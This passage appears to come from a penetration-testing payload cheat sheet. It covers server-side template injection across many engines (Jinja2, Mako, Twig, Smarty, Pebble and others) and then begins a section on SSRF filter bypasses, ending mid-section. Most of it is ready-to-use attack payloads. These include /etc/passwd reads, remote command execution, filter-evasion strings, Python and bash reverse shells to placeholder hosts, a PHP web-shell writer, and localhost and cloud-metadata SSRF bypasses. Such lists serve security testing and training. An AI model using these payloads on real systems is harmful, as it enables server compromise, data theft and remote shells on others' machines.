${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

***

## Jinja2

[Official website](https://jinja.palletsprojects.com/)

> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

### Jinja2 - Basic injection

```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
```

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on a Flask application.

### Jinja2 - Template format

```python
<div data-gb-custom-block data-tag="extends" data-0='layout.html'></div>

<div data-gb-custom-block data-tag="block">

  <ul>
  

<div data-gb-custom-block data-tag="for">

    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  

</div>

  </ul>

</div>
```

### Jinja2 - Debug Statement

If the Debug Extension is enabled, a \`

\` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

```python
<pre><div data-gb-custom-block data-tag="debug"></div>

</pre>
```

Source: <https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement>

### Jinja2 - Dump all used classes

```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```

### Jinja2 - Dump all config variables

```python
<div data-gb-custom-block data-tag="for">

    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>

</div>
```

### Jinja2 - Read remote file

```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```

### Jinja2 - Write into remote file

```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```

### Jinja2 - Remote Code Execution

Listen for connection

```bash
nc -lnvp 8000
```

#### Exploit the SSTI by calling os.popen().read()

These payloads are context-free, and do not require anything, except being in a jinja2 Template object:

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```

We can use these shorter payloads (this is the shorter payloads known yet):

```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}

{{ joiner.__init__.__globals__.os.popen('id').read() }}

{{ namespace.__init__.__globals__.os.popen('id').read() }}
```

Source [@podalirius\_](https://twitter.com/podalirius_) : <https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/>

#### Exploit the SSTI by calling subprocess.Popen

:warning: the number 396 will vary depending of the application.

```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```

#### Exploit the SSTI by calling Popen without guessing the offset

```python
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}</div></div>
```

Simply modification of payload to clean up output and facilitate command input (<https://twitter.com/SecGus/status/1198976764351066113>) In another GET parameter include a variable named "input" that contains the command you want to run (For example: \&input=ls)

```python
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}</div></div>
```

#### Exploit the SSTI by writing an evil config file.

```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```

### Jinja2 - Filter bypass

```python
request.__class__
request["__class__"]
```

Bypassing `_`

```python
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
```

Bypassing `[` and `]`

```python
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
```

Bypassing `|join`

```python
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
```

Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by <https://twitter.com/SecGus>:

```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```

***

## Jinjava

[Official website](https://github.com/HubSpot/jinjava)

> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

### Jinjava - Basic injection

```python
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```

Jinjava is an open source project developed by Hubspot, available at <https://github.com/HubSpot/jinjava/>

### Jinjava - Command execution

Fixed by <https://github.com/HubSpot/jinjava/pull/230>

```python
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```

***

## Lessjs

[Official website](https://lesscss.org/)

> Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.

### Lessjs - SSRF / LFI

```less
@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";
```

### Lessjs < v3 - Command Execution

```less
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}
```

### Plugins

Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.

```less
// example local plugin usage
@plugin "plugin-2.7.js";
```

or

```less
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
```

version 2 example RCE plugin:

```javascript
functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
```

version 3 and above example RCE plugin

```javascript
//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})
```

***

## Mako

[Official website](https://www.makotemplates.org/)

> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.

```python
<%
import os
x=os.popen('id').read()
%>
${x}
```

### Direct access to os from TemplateNamespace:

Any of these payloads allows direct access to the `os` module

```python
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```

PoC :

```python
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```

Source [@podalirius\_](https://twitter.com/podalirius_) : <https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/>

***

## Pebble

[Official website](https://pebbletemplates.io/)

> Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

### Pebble - Basic injection

```java
{{ someString.toUPPERCASE() }}
```

### Pebble - Code execution

Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.

New version of Pebble :

```java
<div data-gb-custom-block data-tag="set" data-cmd='id'></div>
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}
```

***

## Ruby

### Ruby - Basic injections

ERB:

```ruby
<%= 7 * 7 %>
```

Slim:

```ruby
#{ 7 * 7 }
```

### Ruby - Retrieve /etc/passwd

```ruby
<%= File.open('/etc/passwd').read %>
```

### Ruby - List files and directories

```ruby
<%= Dir.entries('/') %>
```

### Ruby - Code execution

Execute code using SSTI for ERB engine.

```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```

Execute code using SSTI for Slim engine.

```powershell
#{ %x|env| }
```

***

## Smarty

[Official website](https://www.smarty.net/docs/en/)

> Smarty is a template engine for PHP.

```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```

***

## Twig

[Official website](https://twig.symfony.com/)

> Twig is a modern template engine for PHP.

### Twig - Basic injection

```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```

### Twig - Template format

```python
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);
```

### Twig - Arbitrary File Reading

```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```

### Twig - Code execution

```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```

Example with an email passing FILTER\_VALIDATE\_EMAIL PHP.

```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```

***

## Velocity

[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)

> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.

```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

***

## References

* <https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/>
* [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)
* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
* [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad)
* [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw)
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/)
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [Expression Language injection - PortSwigger](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
* [Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab](https://securitylab.github.com/research/bean-validation-RCE)
* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [Handlebars template injection and RCE in a Shopify app](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
* [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
* [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/)


# Server-Side Request Forgery

> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

## Summary

* [Tools](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [Payloads with localhost](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [Bypassing filters](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using HTTPS](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass localhost with \[::\]](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass localhost with a domain redirection](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass localhost with CIDR](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using a decimal IP location](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using octal IP](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using IPv6/IPv4 Address Embedding](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using malformed urls](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using rare address](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using URL encoding](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using bash variables](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using tricks combination](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass using enclosed alphanumerics](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass filter\_var() php function](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypass against a weak parser](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [Bypassing using jar protocol (java only)](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF exploitation via URL Scheme](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [file://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [http://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [dict://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [sftp://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [tftp://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [ldap://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [gopher://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [netdoc://](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF exploiting WSGI](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF exploiting Redis](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF exploiting PDF file](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [Blind SSRF](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF to XSS](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF from XSS](broken://pages/Sc1qOSRXEQPu0vImnT5r)
* [SSRF URL for Cloud Instances](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for AWS Bucket](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for AWS ECS](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for AWS Elastic Beanstalk](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for AWS Lambda](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Google Cloud](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Digital Ocean](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Packetcloud](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Azure](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for OpenStack/RackSpace](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for HP Helion](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Oracle Cloud](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Kubernetes ETCD](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Alibaba](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Docker](broken://pages/Sc1qOSRXEQPu0vImnT5r)
  * [SSRF URL for Rancher](broken://pages/Sc1qOSRXEQPu0vImnT5r)

## Tools

* [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
* [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
* [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
* [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff)

## Payloads with localhost

Basic SSRF v1

```powershell
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```

Basic SSRF - Alternative version

```powershell
http://localhost:80
http://localhost:443
http://localhost:22
```

## Bypassing filters

### Bypass using HTTPS

```powershell
https://127.0.0.1/
https://localhost/
```

### Bypass localhost with \[::]

```powershell
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```

```powershell
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```

### Bypass localhost with a domain redirection

```powershell
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
```

The service nip.io is awesome for that, it will convert any ip address as a dns.

```powershell
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

### Bypass localhost with CIDR

It's a /8

```powershell
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```

### Bypass using a decimal IP location

```powershell
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254
```

### Bypass using octal IP

Implementations differ on how to handle octal format of ipv4.

```
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...
```

Ref:

* [DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing](https://www.youtube.com/watch?v=_o1RPJAe4kU)
* [AppSecEU15-Server\_side\_browsing\_considered\_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)

### Bypass using IPv6/IPv4 Address Embedding

[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)

```powershell
http://[0:0:0:0:0:ffff:127.0.0.1]
```

### Bypass using malformed urls

```powershell
localhost:+11211aaa
localhost:00011211aaaa
```

### Bypass using rare address

You can short-hand IP addresses by dropping the zeros

```powershell
http://0/
http://127.1
http://127.0.1
```

### Bypass using URL encoding

[Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)

```powershell
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```

### Bypass using bash variables

(curl only)

```powershell
curl -v "http://evil$google.com"
$google = ""
```

### Bypass using tricks combination

```powershell
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

### Bypass using enclosed alphanumerics

[@EdOverflow](https://twitter.com/EdOverflow)

```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```

### Bypass using unicode

In some languages (.NET, Python 3) regex supports unicode by default. `\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.

### Bypass filter\_var() php function

```powershell
0://evil.com:80;http://google.com:80/ 
```

### Bypass against a weak parser

by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))

```powershell
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```

![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)

### Bypassing using a redirect

[using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)

```powershell
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to  vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
```

### Bypassing using type=url

```powershell
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

### Bypassing using DNS Rebinding (TOCTOU)

```powershell
Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
